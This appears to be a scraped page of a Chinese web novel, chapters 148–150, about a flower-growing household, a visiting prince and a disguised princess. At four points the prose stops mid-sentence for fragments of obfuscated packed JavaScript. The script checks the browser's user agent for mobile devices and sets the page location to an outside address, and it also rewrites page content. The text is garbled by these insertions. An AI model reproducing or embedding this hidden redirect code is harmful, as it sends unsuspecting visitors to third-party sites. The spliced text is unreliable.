l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14869863|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竹很是自责,“这么大一笔钱,够我们家买多少东西,都怪我当时太冲动了,我不该去拿刀的。” “你没有错,你是为了保护这院子里的人才拿刀的,换做是我,我也会这么做的。”姜佑安安慰道:“就算没有这件事,知县和县丞也会找别的理由把你关进去,他们想要钱,也只能给他们了。” 袁竹抬眼看向姜佑安,“人,真的不是我杀的吗?” 姜佑安微微一笑,“明珠和你亲姐姐说的话,你还信不过吗?” 袁竹垂下眼帘,眉间是浓浓的愁绪,“我担心她们是为了救我,才那么说的……” “你想想明珠的性格,她会为了撒一个谎,跑到公堂上哭闹吗?”姜佑安走过去,蹲在床边,握住了袁竹的手,“这件事,谁都不是有心的,你不要多想,咱们袁家的日子,还得继续过下去,不是吗?” 袁竹点了点头,“花了那么多钱,我还得去挣回来,你放心吧,我没事。” 姜佑安站起身来,“没事就好,你歇着吧,辛老师你在这里陪着她,有事记得叫我们。” “好。”辛开元应道。 “佑安。”袁竹唤了一声,有些犹豫地开口问道:“我爹要是被定罪了,我姐和我娘呢?” “她们应该会在县里住下,我给你姐拿了钱,你不用操心了。”姜佑安说道。 “哦,好。”袁竹这才放心地躺了下去。 姜佑安走出房间,阮荷跟着走了出去,从怀里掏出个荷包递给姜佑安,“佑安姐姐,这是我攒的钱,不太多,你先拿着用吧。” 杨恩和李长风也说要回去拿钱来,姜佑安制止了他们,把荷包还给了阮荷,微笑着说道:“你们别着急,咱们袁家,已经不是之前穷苦的袁家了,钱你们先收好,等需要的时候,我会主动开口找你们要的。” 听她这么说,大家的担心和焦虑都缓解了许多,阮荷把荷包收了起来,“袁姐姐她不会有事吧?” “家里出了这样的事,她心里肯定不好受,不过,事情已经发生,也没有办法挽回了,最近她想要做什么,我们都尽量满足她,不要让她沉浸在痛苦里就是了,时间久了,总会过去的。”姜佑安说道。 大家点点头,各自散去了,晚上姜佑安担心袁竹,留在了耳房住,一早就听到二门外传来拉铃铛的声音,有人去开了门,姜佑安怕是又出了什么事,赶忙穿上衣服,出了房门,去打开了二门。 见是辛开元从外面走了进来,姜佑安问道:“怎么来得这么早?” “我担心袁娘子,想过来看看。”辛开元走到了二门口,小声说道:“袁家姐姐在门外。” 姜佑安听了,赶忙快步出了院门,果然见袁萱草在墙边站着,“袁姐姐,出什么事了吗?” “今天衙门的人说,可以把我弟领回去了,可我一个人,搬不动,也不敢搬,姜院长,你能让袁竹帮帮我吗?”袁萱草问道。 “你一个人?你爹没放出来,你娘也没放出来吗?”姜佑安问道。 袁萱草的眼泪已经哭干了,眼睛肿的很厉害,她神色凄怆地看着姜佑安,“我娘放出来了,不过,她也帮不了我的忙。” “你娘怎么了?病了吗?”姜佑安问道。 “她疯了。”袁萱草答道。 148. 贵客 姜佑安很是惊讶,“昨天不还好好的吗?怎么会突然疯了?” “我娘也知道是我爹拿刀伤了我弟,却和我爹一起闹上公堂,要让袁竹偿命,现在儿子死了,老公被抓,袁竹也跟她闹翻了,她可能没办法接受这一切,就疯了。”袁萱草淡淡地说道。 “你们全都看见了?”姜佑安眉头紧皱,愤怒地看着袁萱草,“你们明知道不是袁竹杀的人,为了一个已经死掉的烂人,还偏要袁竹给他偿命?你们还是一家人呢!你和你娘来的时候,袁竹体谅你们辛苦,又给拿钱,又给买东西,你们就这样对她?” 袁萱草低下了头,言语之中尽是悔意,“是我的错,我看到我爹娘来要钱的时候,就不该叫袁竹出来,也不该在我爹说要袁竹偿命的时候,说我没看清楚,我对不起袁竹,我们全家都对不起她。” 袁竹在院门内听到了两人的对话,她从门内走了出来,“姐,娘现在在哪?” 袁萱草抬起头,“在客栈里,我把她锁在房间里了。” “爹呢?”袁竹问道。 “知县说爹不是故意杀人,本来可以轻判,但他明知是自己误杀,还偏要你给贵生偿命,用心恶毒,知县要他坐七年的牢。”袁萱草说道。 袁竹对袁德是一丝感情都没了,他是坐牢还是死刑,都无所谓,但这些人的事不能都交给袁萱草处理,她还是要帮姐姐的忙。 “我跟你去县里处理吧。”袁竹说道。 “我也去。”辛开元说道。 “我也一起去。”姜佑安说道。 袁萱草上前,抓住了袁竹的胳膊,“我知道你讨厌我们,我本来应该去找我老公帮忙的,但他不会愿意管这些,小叔也不在,我实在没有办法,只能来找你了。” 袁竹把手搭在袁萱草的手上,“姐,我们是一家人,我虽然恨他们,但该管的事,我还是要管的。” 袁萱草感激地点了点头,随袁竹、姜佑安和辛开元一起去了县里,先去买了口棺材,雇了马车把袁贵生的尸首送回去埋了,又把客栈里的项三娘接到了袁家去。 袁家众人只当什么都没发生过一样,热情地把袁萱草和项三娘迎进了堂屋里,让她们坐着休息,项三娘不肯坐,牵着袁萱草的手,站在她的身边,怯生生地看着屋子里的人。 得知项三娘神志不清,众人便都像哄孩子一样,哄着她吃点心,告诉她不要害怕,安心在这里住着。 项三娘依旧不放心似的,紧紧抓着袁萱草的衣袖,不吃点心,也不肯说一句话。 钟二娘觉得她这个样子,跟钟明珠刚来的时候差不多,她想让钟明珠去劝劝,钟明珠讨厌项三娘,不肯去。 袁竹说项三娘怕人,让大家都散去,不用围在这里,等她熟悉了这里,自然就好了。 去县里卖花的杨恩和李长风回到院子里,向姜佑安问起今天发生了什么事,阮荷让杨恩不用回去做饭了,还让姜白凤去把邵苏木、霍静和戴庭芳叫来,大家一起在这里吃。 徐洪愿送走了客人,从花田回来了,说今天生意不错,下午还有一个贵客要来,要安排好茶接待,姜佑安笑着说哪有什么好茶,泡玫瑰花茶就行了。 中午大家一起吃饭,又热闹了一通才散去,项三娘说她困了,袁竹让袁萱草带着项三娘去她房间里休息。 姜佑安、袁竹、戴庭芳和辛开元在堂屋里坐着喝茶。 “你要把你娘留下?”姜佑安问道。 袁竹冷着一张脸,让人看不出她的真实情绪,“我姐有自己的家庭,不可能把我娘带过去,我娘这个样子,把她送回家,她自己也活不下去,只能让她留下了,袁家已经有这么多人了,也不差她一个。” “她好像只认识你姐姐,要让她留下,也不知道她愿不愿意。”姜佑安说道。 “熟悉几天就好了。”袁竹端起茶杯来,小口啜饮着。 “她那么对你,你真的要原谅她吗?”姜佑安问道。 “我不想原谅她,但现在的她什么都不知道,像个小孩子一样,我能对她说什么呢?”袁竹无奈地说道。 “也许有一天,她会清醒过来。”辛开元说道。 “对啊,那时候你怎么办?”姜佑安附和道。 袁竹捧着茶杯,看着杯子里茶叶梗,思绪飘飘忽忽的,找不到落脚点,“不知道,到时候再说吧。” 徐洪愿快步从院子里走了进来,“袁竹,我要去田里剪花去,一会儿要是有姓庄的公子来买菊花,你就先接待一下,对了,姜院长说可以给客人泡玫瑰花茶,你们先把热水烧上。” 姓庄的?来这里这么久,还是第一次遇到姓庄的人,这也算是一种缘分吧,姜佑安对这位庄公子很感兴趣,她站起身来,“我先去把茶准备好。” “锅里还有水,我去再添把火。”辛开元起身去了厨房。 徐洪愿出去没多久,便有一位身着锦衣的公子,带着五六个随从进了院子,袁竹见状迎了出去,作揖问道:“请问您是庄公子吗?” 庄伯章并不行礼,只淡淡地答道:“正是。” 袁竹也不在意,微笑着问道:“我是花农袁竹,公子是来买菊花的吗?” 庄伯章点了点头,看了看院子四周摆放的菊花盆栽,“听闻袁娘子菊花种得极好,还有很多珍惜的品种,我特意过来看看。” 袁竹向屋内做出请的手势,“待会儿我带您去园子里看菊花,公子先进屋喝杯茶吧。” “茶就不必了。”庄伯章看过了菊花之后,视线停留在墙边的碗莲上,碗里的莲叶已经枯黄,莲子也已经成熟,“这是,碗莲?” “是碗莲,庄公子平时也喜欢种花吗?”袁竹问道。 姜佑安从门房里取了一罐玫瑰花茶,刚走进二门,就看到了正在摘取莲子的庄伯章,她心里一惊,忙藏进了一旁的厨房里。 见姜佑安走进来,辛开元从灶前站起来,绕到锅边揭开了锅盖,“姜院长,水已经烧开了,你怎么没拿茶壶来?” 姜佑安躲在墙边,不敢往外看,低声说道:“你去拿一下吧。” 辛开元看她神色慌张,忙走到了她身边,“怎么了?你没事吧?” “我没事。”姜佑安把茶罐塞到辛开元手里,自己往里面走了走,“你去帮袁竹接待客人吧,我就不过去了。” “哦,好。”见她不愿意说,辛开元也没有多问,他把茶罐放到一旁的桌上,走出了厨房,院子里,庄伯章正在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14873352|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和阮荷交流碗莲的种植方法,袁竹站在阮荷的身侧,也在认真地听着。 辛开元走到袁竹身边,小声问道:“水烧好了,现在泡茶吗?” “不用了,庄公子说不喝茶,你问问戴老师和姜佑安喝不喝,她们要是不喝,就先不泡了。”袁竹说道。 “好。”辛开元只应了一声,站在袁竹身边,没有动弹。 “袁老板和姜院长在吗?”二门外传来龙世蓉的声音。 “在呢,我带你过去吧。”有人应声答道。 “不用了,家莺,咱们自己过去找吧。”龙世蓉挽着许家莺,一脸带笑地走进了二门,“袁老板,接待客人呢?” 袁竹抛下客人迎了过去,笑着说道:“原来是龙老板和许老板来了,昨天多亏了你们帮忙,我还没来得及去道谢,你们怎么倒先过来了。” “听说你这里出事了,我们不来看看,心里过意不去。”龙世蓉说道。 “怎么样,现在没什么事了吧?”许家莺问道。 “没事,让你们挂心了,你们先到屋里坐坐吧。”袁竹看向辛开元,“辛老师,正好,你去把茶泡了吧,顺便把姜佑安叫过来招待客人。” “那你先忙,不用招呼我们了,我们自己随便坐了。”龙世蓉说着,牵着许家莺进了堂屋,戴庭芳站起来跟她们打了招呼,请她们入坐。 龙世蓉坐下之后才发现文珠没有跟上来,“文珠呢?” “刚才还在呢,难道是去帮忙泡茶了?”许家莺说道。 “她倒是勤快,再怎么说,也应该先把咱们带来的点心放下,再去帮忙啊。”龙世蓉走出了堂屋,见院子里也没有文珠的身影,又从厨房门口探头往里看。 “怎么了?落下什么东西了吗?”袁竹问道。 “没有,我看看文珠哪去了,这丫头,去哪儿了也不告诉我一声。”龙世蓉见厨房里只有辛开元在泡茶,转身说走出了二门,又出了院门,到处都看不到文珠,马车上也没有,问了车夫,车夫也说没看见。 龙世蓉觉得很奇怪,明明刚才一起进了院门,怎么这么一会儿的功夫,人就不见了?难道真的是去厨房帮忙了? 龙世蓉折返回去,又往厨房里看了看,辛开元已经拎着茶壶出去了,厨房里一个人都没有,她能去哪儿呢?难道自己一个人去了后院?还是去了园子里?她明明是第一次来,怎么可能对这里这么熟悉? “还没找到吗?”袁竹走过来问道。 龙世蓉一脸的疑惑不解,“没有,真是怪了,我们明明是一起来的,这丫头跑哪儿去了?” “她肯定还在这附近,说不定一会儿就回来了,你先去屋里坐坐吧,我让孩子们帮忙找找。”袁竹说道。 “算了,她也不是小孩子了,应该会回来的,你这么忙,我们就不给你添乱了。”龙世蓉说完自己进了屋。 辛开元给客人倒了茶,从堂屋里走了出来。 “姜佑安呢?她怎么不去招待客人?”袁竹问道。 “她,没在,应该是出去了,一会儿就能回来。”辛开元说道。 袁竹觉得很奇怪,“出去了?戴老师不也屋里吗?她把戴老师一个人扔在这儿,自己走了?” 149. 公主 “可能是有什么急事吧。”辛开元说道。 “书院都休息了,她能有什么急事?家里这么忙,她还往外跑。”袁竹抱怨道,“戴老师不大爱说话,你去屋里招待她们吧,别把客人晾在一边了。” “好。”辛开元进了屋,庄伯章跟阮荷说了会儿话,便说要去选菊花,袁竹叫阮荷帮忙去找找文珠,然后带庄伯章去了园子里,买了花,庄伯章便坐着马车离开了。 辛开元在屋里陪着龙世蓉和许家莺说话,见袁竹回来了,知道庄伯章已经走了,便借口重新泡茶,回到厨房里给姜佑安报信,“那位庄公子坐马车走了。” “走了?”姜佑安这才从厨房的门后面走了出来,来到了院子里,“他是来买花的?以后不会再来了吧?” “我不清楚,你问袁娘子吧。”辛开元跟着走出了厨房,“他看起来不是本地人,你认识他?” “不认识。”姜佑安走进了堂屋里,拿起自己的杯子,喝了一大口水,冷掉的茶水浸得她喉咙里冰凉凉的,让她忍不住想要打冷颤。 “姜院长回来了?”龙世蓉和许家莺笑着跟她打招呼。 “你跑哪儿去了?怎么渴成这样?”袁竹从椅子上站起身来,奇怪地问道。 “没去哪儿。”姜佑安放下杯子,扯着嘴角笑了笑,“世蓉和家莺来了,就让袁竹好好招待你们吧,我累了,想去歇歇。” 见姜佑安向外走去,戴庭芳赶忙跟了过去,“我也走了,失陪。” “姜院长这是怎么了?”许家莺问道。 “可能是今天跟我一块去县衙处理我家的事,觉得累了吧。”袁竹说道。 “你也累了吧,我们不就打扰了,看你们都好,我们俩也就放心了,你们休息吧。”龙世蓉站起身来,向袁竹告别,“本来给你带了些点心来,不知道让文珠拿到哪里去了,下次我再让她送过来吧。” 袁竹起身挽留,“我没事的,你们专门过来的,怎么就着急走?留下来吃了晚饭再回去吧。” 阮荷从外面走了进来,“袁姐姐,我找到文珠了,她在龙姐姐的马车边,我让她进来,她说要在外面等着。” “这丫头,今天是怎么了?”龙世蓉说着,走出堂屋,除了院门,果然看到文珠站在马车边,手上捧着一个食盒,还拎着几个纸包。 “文珠,你跑哪儿去了?”龙世蓉问道。 文珠低着头,什么都没说。 袁竹追了出来,把两个荷包塞到龙世蓉和许家莺手里,“许老板借我们的五十两,我先还上了,欠龙老板的多,我先还你一百两,剩下的,等我凑够了,就送到你家去。” “这钱我不急着用,袁姐姐,你家里还养着这么多人,你先收着吧。”许家莺说着就要把钱还给袁竹,袁竹摁住了她的手,“你收着吧,等过两天,我还有一批绢花等着你收呢,你一直照顾我们家的生意,我就很感谢了。” “咱们都是朋友,你别跟我客气,这钱我先收了,要是有困难,随时去县里找我。”龙世蓉说道。 “好。”袁竹笑着点点头。 许家莺把文珠手里的食盒拿过来,递到了袁竹手上,又把纸包递给辛开元,“这是我们给孩子们带的点心,不是什么贵重的东西,拿去给孩子们吃吧。” “我替孩子们道谢了。”袁竹接过食盒,向辛开元说道:“咱们去院子里搬两盆菊花来,让世蓉和家莺带回去。” “嗯。”辛开元应了一声,陪袁竹一起进了院里,挑了两盆开得最好的菊花搬了出去,放到了马车上。 龙世蓉和许家莺道了谢,说改天会把姜佑安写的借条送过来,就上了马车走了。 一路上,龙世蓉都没说什么,等到把许家莺送回家,她也回了家,进了自己的房间,才把文珠叫到跟前来。 “你平时行事一向稳重,从没有像今天这样,你跟我说说,到底是什么了?”龙世蓉语气和缓,只想问明白原因,并不带一丝怒气。 文珠站在龙世蓉面前,低着头,“我,我不知道该不该跟您说,我怕……” “怕什么?”龙世蓉问道。 “我怕您会赶我走。”文珠答道。 龙世蓉神色变得严肃起来,“你在袁家做了什么?” “没有,我什么都没做,这跟袁家没有关系,是我,是我的原因。”文珠说道。 “你的原因?你偷过东西,杀过人?”龙世蓉问道。 “没有。”文珠左右看了看,见房间里只有她们两人,她上前一步,轻声说道:“今天去袁家的那位客人,是大皇子庄伯章,我曾经伺候过他,怕见了他被他认出来。” “皇子?皇子怎么会到这里来?身边还只带了这么几个人,你不是在诓我吧?”龙世蓉很是怀疑,“你什么时候伺候过皇子?又怎么会到这里来?” “我原本是皇宫的宫女,上元节赏灯时逃了出来,要是被大皇子看到了,我肯定要被处死。”文珠说道。 龙世蓉还是不肯相信,她在椅子上坐下,进一步逼问道:“这里离京城这么远,怎么可能会有皇宫里的人到这来?你还不跟我说实话吗?” 文珠抬起头来,看着龙世蓉的眼睛,急切地说道:“我说的都是实话,我是走了好几个月才辗转来到这里,我也不知道大皇子怎么会到这里来,不信,不信你可以去问姜院长。” “姜佑安?”龙世蓉回想起来,今天姜佑安确实有些古怪,她也在躲着不敢见那个客人,“你是说姜佑安也是京城里逃出来的宫女?她也认识庄伯章?” “她不是宫女,她是大皇子的妹妹,当今皇上唯一的女儿,长兴公主庄庆容。”文珠说道。 “公主?”龙世蓉震惊地从椅子上站了起来,“这,这怎么可能?长兴公主不是去历国和亲了吗?怎么会在这里?” “我也不清楚,全天下的人都以为公主在历国,可我认得出来,姜院长虽然皮肤晒得黑了些,但她的长相、说话的声音还有走路的方式,都跟长兴公主一模一样。”文珠说道。 “口说无凭,你有证据吗?”龙世蓉问道。 “这……”文珠努力回忆着公主身上的特征,然而并没有什么能作为证据的,“我没有证据,除非她身上带了什么皇室的信物,这也不是我一个宫女能知道的。” “信物。”龙世蓉想起了什么,“文珠,你还记得我们在当铺的时候,有一位老人家在当铺里当了一只贵重的金耳环吗?” “记得,那支耳环上雕刻了龙纹,还镶嵌了珍珠,您给我看了,说那不是普通人能用的,还专门问了老人家,那耳环是哪来的。”文珠也想了起来,她激动地说道:“对了!当时那位老人家说耳环是姜院长给她的,当时我还不知道姜院长是谁,是公主,公主把自己的耳环给了老人家!” “当铺里几年前就曾经收了一只龙纹的金耳环,你去当铺里把两张当票都给我取来。”龙世蓉说道。 “是。”文珠出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14881241|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了房间,就直奔当铺而去,取回两张当票,匆忙来到了龙世蓉的房间里。 见文珠走进来,龙世蓉赶忙迎了上去,“当票取来了?” “两张,都在这里了。”文珠气喘吁吁地把当票递了过去。 “这一张是老人家的,她不识字,当票是伙计帮他写的,这另一张……”龙世蓉拿在手里,仔细比对,“姓名写的是石头,怎么不是姜佑安?” “她肯定是不想让别人察觉到她的真实身份,姜佑安也只是她用的假名。”文珠想了想,又有了主意,“姜院长不是给您写了借条吗?那上面有她的字迹和手印,可以和这个比对一下。” “对!”龙世蓉把当票放在了桌上,去箱子里取了借条来,果然笔迹相似,手印更是一模一样,她的内心无比激动,“她真的是公主!” “千真万确!我可以拿性命担保,这龙纹耳环,绝对是公主的,姜佑安就是长兴公主。”文珠说道。 龙世蓉手上捏着两张纸,沉吟了片刻,“也不能就这么下结论,万一耳环是姜佑安从什么地方得来的呢?” 文珠摇了摇头,“不可能,龙纹可是皇家专用的,普通人根本接触不到这种东西,除非她认识皇室的人。” “说的也是,明天咱们再去一趟袁家,我要找她确认一下。”龙世蓉说道。 文珠感到有些不安,“她有意隐瞒自己的身份,应该不会轻易承认的。” 龙世蓉把当票递给了文珠,“没关系,我只是去问问,你的事,我也不会告诉别人,我很信任你,希望你以后也不要对我有所隐瞒。” 文珠的鼻子酸酸的,“我不是刻意想要隐瞒的,只是因为我的身份,我怕会牵连到你身上。” “宫女出逃的事,我也听说过,肯定是在宫里受了委屈,才会有这么多人趁机逃走,谁都想过更好的生活,我不想为此而苛责你,以后这里就是你的家,安心在这里待着吧。”龙世蓉说道。 “谢谢你。”文珠低下头,眼泪顺着脸颊流了下来。 早上吃过饭,龙世蓉带着文珠去了袁家,姜佑安没在,说是去了戴庭芳那里,袁竹找人去把她叫了过来。 姜佑安走进了堂屋,笑着说道:“我听袁竹说你要把借条送来,你让文珠跑一趟不就行了,怎么还亲自过来。” “今天店里没什么事,我就过来坐坐,你们不会嫌我烦吧。”龙世蓉站起身来,从头到脚,仔细地打量着姜佑安,越看越觉得她周身显现出的气质不同寻常,难道她真的是公主? “哪能啊?龙老板能过来走动,是我们的荣幸。”姜佑安在龙世蓉旁边的椅子上坐下,“借条你直接撕毁就是了,还劳烦你跑一趟。” 龙世蓉从怀里掏出借条来,走到姜佑安身边递给她,“要撕也得当着你的面撕,万一我偷偷留着,话说你没还钱怎么办?” 姜佑安哈哈一笑,接过借条来撕了,团作一团,扔在桌上,“龙老板哪里会做这种事。” 石倩从院子里走进来,“姜院长,外面有一位姓庄的客人,说是昨天来买过菊花,她说要找阮姑娘,看他打扮,像是个有钱人,小阮没在房间里,袁娘子,要先把客人请进来吗?” “是他啊,你去找找小阮,我去把他请进来,世蓉,你们聊,我去接一下客人。”袁竹说着,向屋外走去。 姜佑安一听说姓庄的客人又来了,马上起身就要走,龙世蓉一把拉住了她的胳膊,“姜院长,你要去哪儿?” 150. 疯癫 姜佑安慌张地推着龙世蓉的手,“我,我想起有东西落在外面了,我得去取一下。” “什么东西?现在着急用吗?”龙世蓉问道。 “着急。”姜佑安拖着龙世蓉,一个劲儿地向外走。 龙世蓉紧紧抓着她的胳膊,没有松手,“客人马上就到了,你不先跟客人打个招呼再走吗?” “有袁竹招待客人就行了,我出去一趟,等会就回来。”姜佑安回过身,用力挣脱了龙世蓉,出了堂屋门,外面袁竹已经领着庄伯章走进院子,姜佑安急忙调头,快步往后院去了。 龙世蓉向身后看去,文珠已经躲进了东侧的房间里。 “庄公子,您先进屋坐。”袁竹把庄伯章请进了屋,两个随从跟着他走了进去,还有四个守在门口。 袁竹进了屋发现只有龙世蓉一个人,“姜佑安呢?” “她说出去一趟,要取什么东西,一会儿就回来。”龙世蓉坐在椅子上,不懂神色地观察着坐在主位上的庄伯章。 石倩给客人上了茶,袁竹在龙世蓉对面坐了,“庄公子来找小阮,是有什么事吗?” 庄伯章没有碰茶杯,只闲适地坐在椅子上,淡淡地开口,“我的事,需要亲自跟阮姑娘讲。” 正说着,阮荷走了进来,“庄公子,你找我?” 看到阮荷,庄伯章的眼睛里终于有了些笑意,他站起身来,朝阮荷走过去,“我想邀请你和我一起回京城。” “回京城?为什么?”庄伯章突如其来的提议,让阮荷有点儿懵。 庄伯章的嘴角带着浅笑,温柔地看着阮荷的眼睛,“昨日一别,姑娘让我魂牵梦萦,你跟我回京城吧,我们从此生活在一起,永不分离,京城很繁华,我保证你下半辈子有享不尽的荣华富贵。” 阮荷还没开口,龙世蓉从椅子上站起身来,微笑着问道:“庄公子是从京城来的?” 庄伯章微微侧过头,“是,怎么了?” 龙世蓉走到阮荷身边,依旧微笑着向庄伯章说道:“看您的衣着打扮,确实像是富贵人家的公子,您今年有三十多岁了吧,难道还没有娶妻?” “自然是娶了的。”庄伯章说道。 袁竹也走了过来,“庄公子,你要娶小阮做妾?” 庄伯章点了点头,“正是。” “我不同意!”袁竹挡在阮荷身前,生气地说道:“我还以为你有什么重要的事要讲呢,如果你只是为了这个来的,请你出去,这里不欢迎你!” “你是她的家人?”庄伯章的语气很平静,“我可以给你五百两银子,让她从此跟你断绝关系,这样穷乡僻壤的地方,只会让明珠蒙尘,阮姑娘应该跟我走,去见识更大的世界。” 袁竹听了,更加生气了,“不见识什么世界,我们也能活得好好的,谁稀罕你的臭钱!” “看来你是觉得五百两有点少,那就一千两,一千两银子,让阮荷跟我走,怎么样?”庄伯章说道。 袁竹拼命忍着自己想打人的冲动,“你是来买人的?我们这里只卖花,不卖人!你赶紧走!” “袁老板,我要的人是阮姑娘,不是你。”庄伯章向袁竹的身后看去,“阮姑娘,只要你跟我走,我会给你买单独的宅院,给你买伺候你的下人,还有成箱的衣服首饰,你出门有人抬轿子,想买什么买什么,想吃什么吃什么,你想要什么,我都能帮你实现。” “真的吗?”阮荷从袁竹身后走出来,“你是京城里很大的官吗?” 袁竹扯了扯阮荷的袖子,“小阮,你别听他胡说。” 见阮荷感兴趣,庄伯章气定神闲地笑了笑,“是,我的官很大,你就是想见皇上,我都能答应你。” 阮荷的眼睛亮晶晶的,充满希望地看着庄伯章,“我想参加科举,你能做到吗?” “你想参加科举?”意料之外的答案让庄伯章很惊讶,“女人怎么能参加科举?我知道你读过书,你又当不了官,只要在宅院里相夫教子就够了。” 阮荷很失望,“你不是很大的官吗?连这个都做不到?” “这个别说我了,连皇上都做不到。”庄伯章说道。 “皇上怎么可能做不到?只要皇上说女人可以参加科举,就可以了啊。”阮荷说道。 “这个确实不行,皇上不会答应的。”为了不让阮荷失望,庄伯章连忙保证道:“除了这个,别的我都能答应你。” 阮荷已经失去了兴趣,随意地问道:“你家里有几房妻妾?” “你嫁进来就是第六房。”庄伯章以为阮荷动了嫁给他的心思,笑着说道:“不过你放心,我一定会多宠爱你,别的女人都比不上你在我心里的分量。” “行。”阮荷点了点头,“你除了我以外,还有五个女人,我要求你在我的宅院里,给我准备五个清秀的男人,我的丈夫要跟你的妻妾一样多,我才能同意嫁给你。” 庄伯章皱起了眉头,“你这说的是什么疯话!我是要娶你为妾,让你给我生孩子,怎么可能给你找男人?” “不行吗?不行就算了,庄公子请便吧。”阮荷冲袁竹和龙世蓉笑了笑,转身出去了。 “原来阮姑娘竟是这样的性格,我今天算是见识了。”龙世蓉笑着说道。 “小阮长大了,自己有主意了。”袁竹笑着看向庄伯章,“庄公子,请吧。” 庄伯章觉得自己颜面扫地,生气地骂道:“无耻的丫头!她以为仗着自己好看,就能同时拥有好几个男人?别做梦了!女人就该安分守己,好好在后院待着!” 龙世蓉微微一笑,“公子姓庄,还是京城来的,应该是跟皇室沾亲带故吧,我听说当朝的长兴公主就养了好几个男人,可见女人有多个丈夫,也不是什么稀罕事,以阮姑娘的美貌,肯定有好多男人喜欢,以后多招几个赘婿,容易得很。” “她一个村姑,哪里能跟公主比,再说了,公主养了面首又能如何?还不是嫁给一个老男人,跟好几个女人共享一个丈夫,这都是因为他折辱那些男人,造了孽,最终自食恶果!”庄伯章说道。 龙世蓉走到庄伯章的面前,好奇地问道:“你好像很了解公主的事?那你知道现在公主在哪儿吗?” 庄伯章奇怪地看着龙世蓉,“公主去了历国和亲,这谁不知道?你问这个干什么?” “没什么,像公子这样的大官,以前肯定能经常见到公主吧,你还记得公主长什么样子,面貌上有什么特征吗?”龙世蓉问道。 “不记得。”庄伯章对长兴公主的事丝毫不感兴趣,在阮荷那里碰了一鼻子灰,他只想赶紧离开这里,再也不要踏进这里半步。 庄伯章没有理会龙世蓉的追问,带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14895698|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随从离开了,龙世蓉等了好一阵子,姜佑安也没有回来,她就带着文珠离开了。 回家的路上,龙世蓉回想着庄伯章这个人,他从京城来,是个大官,跟皇上一个姓,穿着上好的锦衣,出手阔绰,还说他能见到皇上,基本上可以确定他就是皇子,姜佑安听说庄伯章来了就要躲,分明是认识庄伯章的,她眉眼跟庄伯章有些相像,应该是公主没错。 可公主怎么会在这里?她很想问问姜佑安,但看今天姜佑安的状态,是肯定不会跟她说实话的,而且,大皇子和长兴公主的关系好像不大好,要是姜佑安的身份暴露了,很可能会陷入一种不好的境地。 经过一番深思熟虑,龙世蓉决定帮姜佑安保守秘密,她嘱咐文珠,不能把姜佑安的真实身份告诉任何人,文珠知道这件事的严重性,她郑重地点了点头。 龙世蓉走后,有客人来买菊花,袁竹把客人带去了园子里选花,在院门口送走客人的时候,辛开元走了过来,微笑着跟她打招呼,“袁娘子,今天也很忙吗?” “还好,你看见姜佑安了吗?”袁竹问道。 “我在杨恩那里的时候,看到她往戴老师那边去了。”辛开元答道。 知道姜佑安的下落,袁竹也就放心了,她转身往院门走去,“这家伙,走了也不说一声。” “可能是看你这边有客人,才没打招呼吧。”辛开元跟着袁竹进了院门。 “刚才龙世蓉在,我还想让她帮忙接待一下呢,这两天她也不知道是怎么了,就窝在戴老师那里不出来,连饭都不过来吃了。”袁竹抱怨道。 “姜院长和戴老师现在就如同夫妻一般,在那边吃饭也正常,昨天我还看到戴老师在菜园里拔菜,两个人都没去杨恩那里吃饭,应该是自己在屋里做饭了,你就别操这个心了。”辛开元说道。 袁竹进了二门,朝堂屋走去,“吃饭的事,我倒是不操心,我就是觉得姜佑安好像有点不对劲。” 辛开元也跨过了门槛,走在她的身边,“怎么不对劲?” “说不上来……”袁竹话还没说完,就见袁萱草扶着项三娘从堂屋里走了出来,“今天太阳好,出去晒晒太阳吧。” “好。”项三娘笑呵呵地答应着,一抬头看到袁竹朝她走来,顿时变了脸色,甩开袁萱草的手,朝袁竹冲了过去,双手掐住了她的脖子。 “去死!去死!”项三娘的眼睛里有着庞大的恨意,连同她的双手一起,勒住了袁竹的脖子,让她喘不过气来。 袁萱草见了,忙拽着项三娘的胳膊向后扯,“娘,你这个干什么!” 辛开元紧紧捏着项三娘的手腕,把她的手从袁竹的喉咙上拿开,而后狠狠甩开了她,项三娘后退两步,没站稳,摔在了地上,袁萱草把她扶了起来,她还想朝袁竹冲过去,被袁萱草死死拉住。 “娘!你到底是怎么了?”袁萱草大声问道。 “她该死!她该死!!”项三娘瞪大了眼睛嘶吼着。 